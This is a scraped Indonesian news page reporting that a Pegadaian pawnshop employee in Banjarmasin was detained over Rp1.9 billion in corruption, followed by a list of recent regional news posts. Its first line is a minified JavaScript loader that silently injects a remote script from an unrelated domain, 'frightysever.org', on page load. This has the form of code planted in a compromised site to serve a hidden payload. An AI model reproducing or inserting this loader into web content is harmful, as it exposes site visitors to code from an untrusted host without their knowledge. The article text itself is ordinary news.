(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pegawai Pegadaian di Banjarmasin Tersangka Korupsi Rp1,9 Miliar, Ini Modusnya


KANALKALIMANTAN.COM, BANJARMASIN – Seorang pegawai Pegadaian Unit Kantor Cabang Ksatrian Banjarmasin berinisial E dijebloskan ke penjara setelah ditetapkan tersangka oleh penyidik Kejari Banjarmasin.

E diduga melakukan tindak pidana korupsi berupa penyalahgunaan jabatan atau fraud yang menyebabkan kerugian negara mencapai Rp1,9 miliar.

Kepala Kejari Banjarmasin Dr Indah Laila melalui Kasi Intel Dimas SH mengungkapkan, perbuatan tersangka selaku pengelola agunan dilakukan sejak tahun 2021 hingga 2022.

Ada empat modus yang dilakukan, yakni menahan pelunasan pada 10 kredit pelunasan dengan kerugian senilai Rp913.250.00.

Baca juga: Yusuf Tertimbun Sedalam 10 Meter di Pendulangan Intan Pumpung

Kemudian, gadai fiktif jaminan tidak ada berupa 2 pinjaman dengan kerugian Rp88.200.000. Gadai fiktif jaminan bukan emas sebanyak 36 pinjaman dengan nilai total kerugian Rp684.100.000.

Terakhir taksiran tinggi fiktif, sebanyak 11 pinjaman dengan kerugian Rp118.660.000.

“Perbuatan E ini merugikan negara sebesar Rp1.902.394.720, namun dia (Tersangka E, red) membayar Rp467.865.000,” kata Dimas.

Ulah korup E disangkakan melanggar pasal 2 atau pasal 3 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. “Kami terus melakukan pengembangan terhadap kasus ini,” ujarnya.

Baca juga: BNN Banjarbaru: Tren Pasien Rehabilitasi Meningkat

Dimas mengatakan, penahanan E didasarkan Surat Perintah Penahanan nomor: Prin-1306/O.3.10/Fd.2/10/2024 tanggal 29 Oktober 2024.

Dengan mengenakan rompi oranye, E akhirnya digiring ke Lembaga Permasyarakatan (Lapas) Kelas II A Banjarmasin, Jalan Mayien Sutoyo S pada Selasa (29/10/2024) malam.

E akan menjalani penahanan selama 20 hari kedepan sebagai tahan titipan untuk kepentingan penyidikan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie

 


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.